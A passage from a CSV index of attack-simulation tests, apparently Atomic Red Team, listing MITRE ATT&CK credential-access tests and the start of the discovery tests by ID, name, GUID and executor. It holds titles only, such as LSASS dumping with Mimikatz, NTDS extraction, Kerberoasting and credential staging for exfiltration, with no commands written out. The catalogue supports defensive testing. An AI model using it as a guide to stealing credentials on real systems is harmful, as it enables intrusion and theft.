Safari BinaryCookies files using AppleScript,e57ba07b-3a33-40cd-a892-748273b9b49a,sh +credential-access,T1003.002,OS Credential Dumping: Security Account Manager,1,"Registry dump of SAM, creds, and secrets",5c2571d0-1572-416d-9676-812e64ca9f44,command_prompt +credential-access,T1003.002,OS Credential Dumping: Security Account Manager,2,Registry parse with pypykatz,a96872b2-cbf3-46cf-8eb4-27e8c0e85263,command_prompt +credential-access,T1003.002,OS Credential Dumping: Security Account Manager,3,esentutl.exe SAM copy,a90c2f4d-6726-444e-99d2-a00cd7c20480,command_prompt +credential-access,T1003.002,OS Credential Dumping: Security Account Manager,4,PowerDump Hashes and Usernames from Registry,804f28fc-68fc-40da-b5a2-e9d0bce5c193,powershell +credential-access,T1003.002,OS Credential Dumping: Security Account Manager,5,dump volume shadow copy hives with certutil,eeb9751a-d598-42d3-b11c-c122d9c3f6c7,command_prompt +credential-access,T1003.002,OS Credential Dumping: Security Account Manager,6,dump volume shadow copy hives with System.IO.File,9d77fed7-05f8-476e-a81b-8ff0472c64d0,powershell +credential-access,T1003.002,OS Credential Dumping: Security Account Manager,7,WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes,0c0f5f06-166a-4f4d-bb4a-719df9a01dbb,powershell +credential-access,T1003.002,OS Credential Dumping: Security Account Manager,8,"Dumping of SAM, creds, and secrets(Reg Export)",21df41be-cdd8-4695-a650-c3981113aa3c,command_prompt +credential-access,T1552.005,Unsecured Credentials: Cloud Instance Metadata API,1,Azure - Search Azure AD User Attributes for Passwords,ae9b2e3e-efa1-4483-86e2-fae529ab9fb6,powershell +credential-access,T1552.005,Unsecured Credentials: Cloud Instance Metadata API,2,Azure - Dump Azure Instance Metadata from Virtual Machines,cc99e772-4e18-4f1f-b422-c5cdd1bfd7b7,powershell +credential-access,T1110.002,Brute Force: Password Cracking,1,Password Cracking with Hashcat,6d27df5d-69d4-4c91-bc33-5983ffe91692,command_prompt +credential-access,T1555.001,Credentials from Password Stores: Keychain,1,Keychain Dump,88e1fa00-bf63-4e5b-a3e1-e2ea51c8cca6,sh +credential-access,T1555.001,Credentials from Password Stores: Keychain,2,Export Certificate Item(s),1864fdec-ff86-4452-8c30-f12507582a93,sh +credential-access,T1555.001,Credentials from Password Stores: Keychain,3,Import Certificate Item(s) into Keychain,e544bbcb-c4e0-4bd0-b614-b92131635f59,sh +credential-access,T1555.001,Credentials from Password Stores: Keychain,4,Copy Keychain using cat utility,5c32102a-c508-49d3-978f-288f8a9f6617,sh +credential-access,T1003.004,OS Credential Dumping: LSA Secrets,1,Dumping LSA Secrets,55295ab0-a703-433b-9ca4-ae13807de12f,command_prompt +credential-access,T1003.004,OS Credential Dumping: LSA Secrets,2,Dump Kerberos Tickets from LSA using dumper.ps1,2dfa3bff-9a27-46db-ab75-7faefdaca732,powershell +credential-access,T1606.002,Forge Web Credentials: SAML token,1,Golden SAML,b16a03bc-1089-4dcc-ad98-30fe8f3a2b31,powershell +credential-access,T1003.007,OS Credential Dumping: Proc Filesystem,1,Dump individual process memory with sh (Local),7e91138a-8e74-456d-a007-973d67a0bb80,sh +credential-access,T1003.007,OS Credential Dumping: Proc Filesystem,2,Dump individual process memory with sh on FreeBSD (Local),fa37b633-e097-4415-b2b8-c5bf4c86e423,sh +credential-access,T1003.007,OS Credential Dumping: Proc Filesystem,3,Dump individual process memory with Python (Local),437b2003-a20d-4ed8-834c-4964f24eec63,sh +credential-access,T1003.007,OS Credential Dumping: Proc Filesystem,4,Capture Passwords with MimiPenguin,a27418de-bdce-4ebd-b655-38f04842bf0c,bash +credential-access,T1040,Network Sniffing,1,Packet Capture Linux using tshark or tcpdump,7fe741f7-b265-4951-a7c7-320889083b3e,bash +credential-access,T1040,Network Sniffing,2,Packet Capture FreeBSD using tshark or tcpdump,c93f2492-9ebe-44b5-8b45-36574cccfe67,sh +credential-access,T1040,Network Sniffing,3,Packet Capture macOS using tcpdump or tshark,9d04efee-eff5-4240-b8d2-07792b873608,bash +credential-access,T1040,Network Sniffing,4,Packet Capture Windows Command Prompt,a5b2f6a0-24b4-493e-9590-c699f75723ca,command_prompt +credential-access,T1040,Network Sniffing,5,Windows Internal Packet Capture,b5656f67-d67f-4de8-8e62-b5581630f528,command_prompt +credential-access,T1040,Network Sniffing,6,Windows Internal pktmon capture,c67ba807-f48b-446e-b955-e4928cd1bf91,command_prompt +credential-access,T1040,Network Sniffing,7,Windows Internal pktmon set filter,855fb8b4-b8ab-4785-ae77-09f5df7bff55,command_prompt +credential-access,T1040,Network Sniffing,8,Packet Capture macOS using /dev/bpfN with sudo,e6fe5095-545d-4c8b-a0ae-e863914be3aa,bash +credential-access,T1040,Network Sniffing,9,Filtered Packet Capture macOS using /dev/bpfN with sudo,e2480aee-23f3-4f34-80ce-de221e27cd19,bash +credential-access,T1040,Network Sniffing,10,Packet Capture FreeBSD using /dev/bpfN with sudo,e2028771-1bfb-48f5-b5e6-e50ee0942a14,sh +credential-access,T1040,Network Sniffing,11,Filtered Packet Capture FreeBSD using /dev/bpfN with sudo,a3a0d4c9-c068-4563-a08d-583bd05b884c,sh +credential-access,T1040,Network Sniffing,12,"Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo",10c710c9-9104-4d5f-8829-5b65391e2a29,bash +credential-access,T1040,Network Sniffing,13,"Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo",7a0895f0-84c1-4adf-8491-a21510b1d4c1,bash +credential-access,T1040,Network Sniffing,14,"Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo",515575ab-d213-42b1-aa64-ef6a2dd4641b,bash +credential-access,T1040,Network Sniffing,15,"Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo",b1cbdf8b-6078-48f5-a890-11ea19d7f8e9,bash +credential-access,T1040,Network Sniffing,16,PowerShell Network Sniffing,9c15a7de-de14-46c3-bc2a-6d94130986ae,powershell +credential-access,T1552.002,Unsecured Credentials: Credentials in Registry,1,Enumeration for Credentials in Registry,b6ec082c-7384-46b3-a111-9a9b8b14e5e7,command_prompt +credential-access,T1552.002,Unsecured Credentials: Credentials in Registry,2,Enumeration for PuTTY Credentials in Registry,af197fd7-e868-448e-9bd5-05d1bcd9d9e5,command_prompt +credential-access,T1556.002,Modify Authentication Process: Password Filter DLL,1,Install and Register Password Filter DLL,a7961770-beb5-4134-9674-83d7e1fa865c,powershell +credential-access,T1556.002,Modify Authentication Process: Password Filter DLL,2,Install Additional Authentication Packages,91580da6-bc6e-431b-8b88-ac77180005f2,powershell +credential-access,T1558.004,Steal or Forge Kerberos Tickets: AS-REP Roasting,1,Rubeus asreproast,615bd568-2859-41b5-9aed-61f6a88e48dd,powershell +credential-access,T1558.004,Steal or Forge Kerberos Tickets: AS-REP Roasting,2,Get-DomainUser with PowerView,d6139549-7b72-4e48-9ea1-324fc9bdf88a,powershell +credential-access,T1558.004,Steal or Forge Kerberos Tickets: AS-REP Roasting,3,WinPwn - PowerSharpPack - Kerberoasting Using Rubeus,8c385f88-4d47-4c9a-814d-93d9deec8c71,powershell +credential-access,T1555,Credentials from Password Stores,1,Extract Windows Credential Manager via VBA,234f9b7c-b53d-4f32-897b-b880a6c9ea7b,powershell +credential-access,T1555,Credentials from Password Stores,2,Dump credentials from Windows Credential Manager With PowerShell [windows Credentials],c89becbe-1758-4e7d-a0f4-97d2188a23e3,powershell +credential-access,T1555,Credentials from Password Stores,3,Dump credentials from Windows Credential Manager With PowerShell [web Credentials],8fd5a296-6772-4766-9991-ff4e92af7240,powershell +credential-access,T1555,Credentials from Password Stores,4,Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials],36753ded-e5c4-4eb5-bc3c-e8fba236878d,powershell +credential-access,T1555,Credentials from Password Stores,5,Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials],bc071188-459f-44d5-901a-f8f2625b2d2e,powershell +credential-access,T1555,Credentials from Password Stores,6,WinPwn - Loot local Credentials - lazagne,079ee2e9-6f16-47ca-a635-14efcd994118,powershell +credential-access,T1555,Credentials from Password Stores,7,WinPwn - Loot local Credentials - Wifi Credentials,afe369c2-b42e-447f-98a3-fb1f4e2b8552,powershell +credential-access,T1555,Credentials from Password Stores,8,WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords,db965264-3117-4bad-b7b7-2523b7856b92,powershell +credential-access,T1552,Unsecured Credentials,1,AWS - Retrieve EC2 Password Data using stratus,a21118de-b11e-4ebd-b655-42f11142df0c,sh +credential-access,T1552,Unsecured Credentials,2,Search for Passwords in Powershell History,f9c3d0ab-479b-4019-945f-22ace2b1731a,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,1,Run Chrome-password Collector,8c05b133-d438-47ca-a630-19cc464c4622,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,2,Search macOS Safari Cookies,c1402f7b-67ca-43a8-b5f3-3143abedc01b,sh +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,3,LaZagne - Credentials from Browser,9a2915b3-3954-4cce-8c76-00fbf4dbd014,command_prompt +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,4,Simulating access to Chrome Login Data,3d111226-d09a-4911-8715-fe11664f960d,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,5,Simulating access to Opera Login Data,28498c17-57e4-495a-b0be-cc1e36de408b,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,6,Simulating access to Windows Firefox Login Data,eb8da98a-2e16-4551-b3dd-83de49baa14c,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,7,Simulating access to Windows Edge Login Data,a6a5ec26-a2d1-4109-9d35-58b867689329,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,8,Decrypt Mozilla Passwords with Firepwd.py,dc9cd677-c70f-4df5-bd1c-f114af3c2381,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,9,LaZagne.py - Dump Credentials from Firefox Browser,87e88698-621b-4c45-8a89-4eaebdeaabb1,sh +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,10,Stage Popular Credential Files for Exfiltration,f543635c-1705-42c3-b180-efd6dc6e7ee7,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,11,WinPwn - BrowserPwn,764ea176-fb71-494c-90ea-72e9d85dce76,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,12,WinPwn - Loot local Credentials - mimi-kittenz,ec1d0b37-f659-4186-869f-31a554891611,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,13,WinPwn - PowerSharpPack - Sharpweb for Browser Credentials,e5e3d639-6ea8-4408-9ecd-d5a286268ca0,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,14,Simulating Access to Chrome Login Data - MacOS,124e13e5-d8a1-4378-a6ee-a53cd0c7e369,sh +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,15,WebBrowserPassView - Credentials from Browser,e359627f-2d90-4320-ba5e-b0f878155bbe,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,16,BrowserStealer (Chrome / Firefox / Microsoft Edge),6f2c5c87-a4d5-4898-9bd1-47a55ecaf1dd,powershell +credential-access,T1555.003,Credentials from Password Stores: Credentials from Web Browsers,17,Dump Chrome Login Data with esentutl,70422253-8198-4019-b617-6be401b49fce,command_prompt +credential-access,T1552.004,Unsecured Credentials: Private Keys,1,Private Keys,520ce462-7ca7-441e-b5a5-f8347f632696,command_prompt +credential-access,T1552.004,Unsecured Credentials: Private Keys,2,Discover Private SSH Keys,46959285-906d-40fa-9437-5a439accd878,sh +credential-access,T1552.004,Unsecured Credentials: Private Keys,3,Copy Private SSH Keys with CP,7c247dc7-5128-4643-907b-73a76d9135c3,sh +credential-access,T1552.004,Unsecured Credentials: Private Keys,4,Copy Private SSH Keys with CP (freebsd),12e4a260-a7fd-4ed8-bf18-1a28c1395775,sh +credential-access,T1552.004,Unsecured Credentials: Private Keys,5,Copy Private SSH Keys with rsync,864bb0b2-6bb5-489a-b43b-a77b3a16d68a,sh +credential-access,T1552.004,Unsecured Credentials: Private Keys,6,Copy Private SSH Keys with rsync (freebsd),922b1080-0b95-42b0-9585-b9a5ea0af044,sh +credential-access,T1552.004,Unsecured Credentials: Private Keys,7,Copy the users GnuPG directory with rsync,2a5a0601-f5fb-4e2e-aa09-73282ae6afca,sh +credential-access,T1552.004,Unsecured Credentials: Private Keys,8,Copy the users GnuPG directory with rsync (freebsd),b05ac39b-515f-48e9-88e9-2f141b5bcad0,sh +credential-access,T1552.004,Unsecured Credentials: Private Keys,9,ADFS token signing and encryption certificates theft - Local,78e95057-d429-4e66-8f82-0f060c1ac96f,powershell +credential-access,T1552.004,Unsecured Credentials: Private Keys,10,ADFS token signing and encryption certificates theft - Remote,cab413d8-9e4a-4b8d-9b84-c985bd73a442,powershell +credential-access,T1552.004,Unsecured Credentials: Private Keys,11,CertUtil ExportPFX,336b25bf-4514-4684-8924-474974f28137,powershell +credential-access,T1552.004,Unsecured Credentials: Private Keys,12,Export Root Certificate with Export-PFXCertificate,7617f689-bbd8-44bc-adcd-6f8968897848,powershell +credential-access,T1552.004,Unsecured Credentials: Private Keys,13,Export Root Certificate with Export-Certificate,78b274f8-acb0-428b-b1f7-7b0d0e73330a,powershell +credential-access,T1552.004,Unsecured Credentials: Private Keys,14,Export Certificates with Mimikatz,290df60e-4b5d-4a5e-b0c7-dc5348ea0c86,command_prompt +credential-access,T1557.001,Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay,1,LLMNR Poisoning with Inveigh (PowerShell),deecd55f-afe0-4a62-9fba-4d1ba2deb321,powershell +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,1,Dump LSASS.exe Memory using ProcDump,0be2230c-9ab3-4ac2-8826-3199b9a0ebf8,command_prompt +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,2,Dump LSASS.exe Memory using comsvcs.dll,2536dee2-12fb-459a-8c37-971844fa73be,powershell +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,3,Dump LSASS.exe Memory using direct system calls and API unhooking,7ae7102c-a099-45c8-b985-4c7a2d05790d,command_prompt +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,4,Dump LSASS.exe Memory using NanoDump,dddd4aca-bbed-46f0-984d-e4c5971c51ea,command_prompt +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,5,Dump LSASS.exe Memory using Windows Task Manager,dea6c349-f1c6-44f3-87a1-1ed33a59a607,manual +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,6,Offline Credential Theft With Mimikatz,453acf13-1dbd-47d7-b28a-172ce9228023,command_prompt +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,7,LSASS read with pypykatz,c37bc535-5c62-4195-9cc3-0517673171d8,command_prompt +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,8,Dump LSASS.exe Memory using Out-Minidump.ps1,6502c8f0-b775-4dbd-9193-1298f56b6781,powershell +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,9,Create Mini Dump of LSASS.exe using ProcDump,7cede33f-0acd-44ef-9774-15511300b24b,command_prompt +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,10,Powershell Mimikatz,66fb0bc1-3c3f-47e9-a298-550ecfefacbc,powershell +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,11,Dump LSASS with createdump.exe from .Net v5,9d0072c8-7cca-45c4-bd14-f852cfa35cf0,powershell +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,12,Dump LSASS.exe using imported Microsoft DLLs,86fc3f40-237f-4701-b155-81c01c48d697,powershell +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,13,Dump LSASS.exe using lolbin rdrleakdiag.exe,47a539d1-61b9-4364-bf49-a68bc2a95ef0,powershell +credential-access,T1003.001,OS Credential Dumping: LSASS Memory,14,Dump LSASS.exe Memory through Silent Process Exit,eb5adf16-b601-4926-bca7-dad22adffb37,command_prompt +credential-access,T1110.003,Brute Force: Password Spraying,1,Password Spray all Domain Users,90bc2e54-6c84-47a5-9439-0a2a92b4b175,command_prompt +credential-access,T1110.003,Brute Force: Password Spraying,2,Password Spray (DomainPasswordSpray),263ae743-515f-4786-ac7d-41ef3a0d4b2b,powershell +credential-access,T1110.003,Brute Force: Password Spraying,3,Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos),f14d956a-5b6e-4a93-847f-0c415142f07d,powershell +credential-access,T1110.003,Brute Force: Password Spraying,4,Password spray all Azure AD users with a single password,a8aa2d3e-1c52-4016-bc73-0f8854cfa80a,powershell +credential-access,T1110.003,Brute Force: Password Spraying,5,WinPwn - DomainPasswordSpray Attacks,5ccf4bbd-7bf6-43fc-83ac-d9e38aff1d82,powershell +credential-access,T1110.003,Brute Force: Password Spraying,6,Password Spray Invoke-DomainPasswordSpray Light,b15bc9a5-a4f3-4879-9304-ea0011ace63a,powershell +credential-access,T1110.003,Brute Force: Password Spraying,7,Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365),f3a10056-0160-4785-8744-d9bd7c12dc39,powershell +credential-access,T1110.003,Brute Force: Password Spraying,8,Password Spray using Kerbrute Tool,c6f25ec3-6475-47a9-b75d-09ac593c5ecb,powershell +credential-access,T1110.003,Brute Force: Password Spraying,9,AWS - Password Spray an AWS using GoAWSConsoleSpray,9c10d16b-20b1-403a-8e67-50ef7117ed4e,sh +credential-access,T1003.005,OS Credential Dumping: Cached Domain Credentials,1,Cached Credential Dump via Cmdkey,56506854-89d6-46a3-9804-b7fde90791f9,command_prompt +credential-access,T1558.001,Steal or Forge Kerberos Tickets: Golden Ticket,1,Crafting Active Directory golden tickets with mimikatz,9726592a-dabc-4d4d-81cd-44070008b3af,powershell +credential-access,T1558.001,Steal or Forge Kerberos Tickets: Golden Ticket,2,Crafting Active Directory golden tickets with Rubeus,e42d33cd-205c-4acf-ab59-a9f38f6bad9c,powershell +credential-access,T1649,Steal or Forge Authentication Certificates,1,Staging Local Certificates via Export-Certificate,eb121494-82d1-4148-9e2b-e624e03fbf3d,powershell +credential-access,T1552.003,Unsecured Credentials: Bash History,1,Search Through Bash History,3cfde62b-7c33-4b26-a61e-755d6131c8ce,sh +credential-access,T1552.003,Unsecured Credentials: Bash History,2,Search Through sh History,d87d3b94-05b4-40f2-a80f-99864ffa6803,sh +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,1,Find AWS credentials,37807632-d3da-442e-8c2e-00f44928ff8f,sh +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,2,Extract Browser and System credentials with LaZagne,9e507bb8-1d30-4e3b-a49b-cb5727d7ea79,bash +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,3,Extract passwords with grep,bd4cf0d1-7646-474e-8610-78ccf5a097c4,sh +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,4,Extracting passwords with findstr,0e56bf29-ff49-4ea5-9af4-3b81283fd513,powershell +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,5,Access unattend.xml,367d4004-5fc0-446d-823f-960c74ae52c3,command_prompt +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,6,Find and Access Github Credentials,da4f751a-020b-40d7-b9ff-d433b7799803,bash +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,7,WinPwn - sensitivefiles,114dd4e3-8d1c-4ea7-bb8d-8d8f6aca21f0,powershell +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,8,WinPwn - Snaffler,fdd0c913-714b-4c13-b40f-1824d6c015f2,powershell +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,9,WinPwn - powershellsensitive,75f66e03-37d3-4704-9520-3210efbe33ce,powershell +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,10,WinPwn - passhunt,00e3e3c7-6c3c-455e-bd4b-461c7f0e7797,powershell +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,11,WinPwn - SessionGopher,c9dc9de3-f961-4284-bd2d-f959c9f9fda5,powershell +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,12,"WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials",aaa87b0e-5232-4649-ae5c-f1724a4b2798,powershell +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,13,List Credential Files via PowerShell,0d4f2281-f720-4572-adc8-d5bb1618affe,powershell +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,14,List Credential Files via Command Prompt,b0cdacf6-8949-4ffe-9274-a9643a788e55,command_prompt +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,15,Find Azure credentials,a8f6148d-478a-4f43-bc62-5efee9f931a4,sh +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,16,Find GCP credentials,aa12eb29-2dbb-414e-8b20-33d34af93543,sh +credential-access,T1552.001,Unsecured Credentials: Credentials In Files,17,Find OCI credentials,9d9c22c9-fa97-4008-a204-478cf68c40af,sh +credential-access,T1528,Steal Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell +credential-access,T1528,Steal Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell +credential-access,T1552.006,Unsecured Credentials: Group Policy Preferences,1,GPP Passwords (findstr),870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f,command_prompt +credential-access,T1552.006,Unsecured Credentials: Group Policy Preferences,2,GPP Passwords (Get-GPPPassword),e9584f82-322c-474a-b831-940fd8b4455c,powershell +credential-access,T1056.002,Input Capture: GUI Input Capture,1,AppleScript - Prompt User for Password,76628574-0bc1-4646-8fe2-8f4427b47d15,bash +credential-access,T1056.002,Input Capture: GUI Input Capture,2,PowerShell - Prompt User for Password,2b162bfd-0928-4d4c-9ec3-4d9f88374b52,powershell +credential-access,T1056.002,Input Capture: GUI Input Capture,3,AppleScript - Spoofing a credential prompt using osascript,b7037b89-947a-427a-ba29-e7e9f09bc045,bash +credential-access,T1110.004,Brute Force: Credential Stuffing,1,SSH Credential Stuffing From Linux,4f08197a-2a8a-472d-9589-cd2895ef22ad,bash +credential-access,T1110.004,Brute Force: Credential Stuffing,2,SSH Credential Stuffing From MacOS,d546a3d9-0be5-40c7-ad82-5a7d79e1b66b,bash +credential-access,T1110.004,Brute Force: Credential Stuffing,3,SSH Credential Stuffing From FreeBSD,a790d50e-7ebf-48de-8daa-d9367e0911d4,sh +credential-access,T1110.004,Brute Force: Credential Stuffing,4,Brute Force:Credential Stuffing using Kerbrute Tool,4852c630-87a9-409b-bb5e-5dc12c9ebcde,powershell +credential-access,T1187,Forced Authentication,1,PetitPotam,485ce873-2e65-4706-9c7e-ae3ab9e14213,powershell +credential-access,T1187,Forced Authentication,2,WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS,7f06b25c-799e-40f1-89db-999c9cc84317,powershell +credential-access,T1187,Forced Authentication,3,Trigger an authenticated RPC call to a target server with no Sign flag set,81cfdd7f-1f41-4cc5-9845-bb5149438e37,powershell +credential-access,T1555.006,Credentials from Password Stores: Cloud Secrets Management Stores,1,Azure - Dump All Azure Key Vaults with Microburst,1b83cddb-eaa7-45aa-98a5-85fb0a8807ea,powershell +credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow",1,Access /etc/shadow (Local),3723ab77-c546-403c-8fb4-bb577033b235,bash +credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow",2,Access /etc/master.passwd (Local),5076874f-a8e6-4077-8ace-9e5ab54114a5,sh +credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow",3,Access /etc/passwd (Local),60e860b6-8ae6-49db-ad07-5e73edd88f5d,sh +credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow",4,"Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not cat",df1a55ae-019d-4120-bc35-94f4bc5c4b0a,sh +credential-access,T1003.008,"OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow",5,"Access /etc/{shadow,passwd,master.passwd} with shell builtins",f5aa6543-6cb2-4fae-b9c2-b96e14721713,sh +credential-access,T1558.002,Steal or Forge Kerberos Tickets: Silver Ticket,1,Crafting Active Directory silver tickets with mimikatz,385e59aa-113e-4711-84d9-f637aef01f2c,powershell +credential-access,T1555.004,Credentials from Password Stores: Windows Credential Manager,1,Access Saved Credentials via VaultCmd,9c2dd36d-5c8b-4b29-8d72-a11b0d5d7439,command_prompt +credential-access,T1555.004,Credentials from Password Stores: Windows Credential Manager,2,WinPwn - Loot local Credentials - Invoke-WCMDump,fa714db1-63dd-479e-a58e-7b2b52ca5997,powershell +credential-access,T1003.003,OS Credential Dumping: NTDS,1,Create Volume Shadow Copy with vssadmin,dcebead7-6c28-4b4b-bf3c-79deb1b1fc7f,command_prompt +credential-access,T1003.003,OS Credential Dumping: NTDS,2,Copy NTDS.dit from Volume Shadow Copy,c6237146-9ea6-4711-85c9-c56d263a6b03,command_prompt +credential-access,T1003.003,OS Credential Dumping: NTDS,3,Dump Active Directory Database with NTDSUtil,2364e33d-ceab-4641-8468-bfb1d7cc2723,command_prompt +credential-access,T1003.003,OS Credential Dumping: NTDS,4,Create Volume Shadow Copy with WMI,224f7de0-8f0a-4a94-b5d8-989b036c86da,command_prompt +credential-access,T1003.003,OS Credential Dumping: NTDS,5,Create Volume Shadow Copy remotely with WMI,d893459f-71f0-484d-9808-ec83b2b64226,command_prompt +credential-access,T1003.003,OS Credential Dumping: NTDS,6,Create Volume Shadow Copy remotely (WMI) with esentutl,21c7bf80-3e8b-40fa-8f9d-f5b194ff2865,command_prompt +credential-access,T1003.003,OS Credential Dumping: NTDS,7,Create Volume Shadow Copy with Powershell,542bb97e-da53-436b-8e43-e0a7d31a6c24,powershell +credential-access,T1003.003,OS Credential Dumping: NTDS,8,Create Symlink to Volume Shadow Copy,21748c28-2793-4284-9e07-d6d028b66702,command_prompt +credential-access,T1003.003,OS Credential Dumping: NTDS,9,Create Volume Shadow Copy with diskshadow,b385996c-0e7d-4e27-95a4-aca046b119a7,command_prompt +credential-access,T1003.003,OS Credential Dumping: NTDS,10,Copy NTDS in low level NTFS acquisition via MFT parsing,f57cb283-c131-4e2f-8a6c-363d575748b2,powershell +credential-access,T1003.003,OS Credential Dumping: NTDS,11,Copy NTDS in low level NTFS acquisition via fsutil,c7be89f7-5d06-4321-9f90-8676a77e0502,powershell +credential-access,T1558.003,Steal or Forge Kerberos Tickets: Kerberoasting,1,Request for service tickets,3f987809-3681-43c8-bcd8-b3ff3a28533a,powershell +credential-access,T1558.003,Steal or Forge Kerberos Tickets: Kerberoasting,2,Rubeus kerberoast,14625569-6def-4497-99ac-8e7817105b55,powershell +credential-access,T1558.003,Steal or Forge Kerberos Tickets: Kerberoasting,3,Extract all accounts in use as SPN using setspn,e6f4affd-d826-4871-9a62-6c9004b8fe06,command_prompt +credential-access,T1558.003,Steal or Forge Kerberos Tickets: Kerberoasting,4,Request A Single Ticket via PowerShell,988539bc-2ed7-4e62-aec6-7c5cf6680863,powershell +credential-access,T1558.003,Steal or Forge Kerberos Tickets: Kerberoasting,5,Request All Tickets via PowerShell,902f4ed2-1aba-4133-90f2-cff6d299d6da,powershell +credential-access,T1558.003,Steal or Forge Kerberos Tickets: Kerberoasting,6,WinPwn - Kerberoasting,78d10e20-c874-45f2-a9df-6fea0120ec27,powershell +credential-access,T1558.003,Steal or Forge Kerberos Tickets: Kerberoasting,7,WinPwn - PowerSharpPack - Kerberoasting Using Rubeus,29094950-2c96-4cbd-b5e4-f7c65079678f,powershell +credential-access,T1003.006,OS Credential Dumping: DCSync,1,DCSync (Active Directory),129efd28-8497-4c87-a1b0-73b9a870ca3e,command_prompt +credential-access,T1003.006,OS Credential Dumping: DCSync,2,Run DSInternals Get-ADReplAccount,a0bced08-3fc5-4d8b-93b7-e8344739376e,powershell +credential-access,T1056.004,Input Capture: Credential API Hooking,1,Hook PowerShell TLS Encrypt/Decrypt Messages,de1934ea-1fbf-425b-8795-65fb27dd7e33,powershell +credential-access,T1552.007,Kubernetes List Secrets,1,List All Secrets,31e794c4-48fd-4a76-aca4-6587c155bc11,bash +credential-access,T1552.007,Kubernetes List Secrets,2,ListSecrets,43c3a49d-d15c-45e6-b303-f6e177e44a9a,bash +credential-access,T1552.007,Kubernetes List Secrets,3,Cat the contents of a Kubernetes service account token file,788e0019-a483-45da-bcfe-96353d46820f,sh +discovery,T1033,System Owner/User Discovery,1,System Owner/User Discovery,4c4959bf-addf-4b4a-be86-8d09cc1857aa,command_prompt +discovery,T1033,System Owner/User Discovery,2,System Owner/User Discovery,2a9b677d-a230-44f4-ad86-782df1ef108c,sh +discovery,T1033,System Owner/User Discovery,3,Find computers where user has session - Stealth mode (PowerView),29857f27-a36f-4f7e-8084-4557cd6207ca,powershell +discovery,T1033,System Owner/User Discovery,4,User Discovery With Env Vars PowerShell Script,dcb6cdee-1fb0-4087-8bf8-88cfd136ba51,powershell +discovery,T1033,System Owner/User Discovery,5,GetCurrent User with PowerShell Script,1392bd0f-5d5a-429e-81d9-eb9d4d4d5b3b,powershell +discovery,T1033,System Owner/User Discovery,6,System Discovery - SocGholish whoami,3d257a03-eb80-41c5-b744-bb37ac7f65c7,powershell +discovery,T1033,System Owner/User Discovery,7,System Owner/User Discovery Using Command Prompt,ba38e193-37a6-4c41-b214-61b33277fe36,command_prompt +discovery,T1613,Container and Resource Discovery,1,Docker Container and 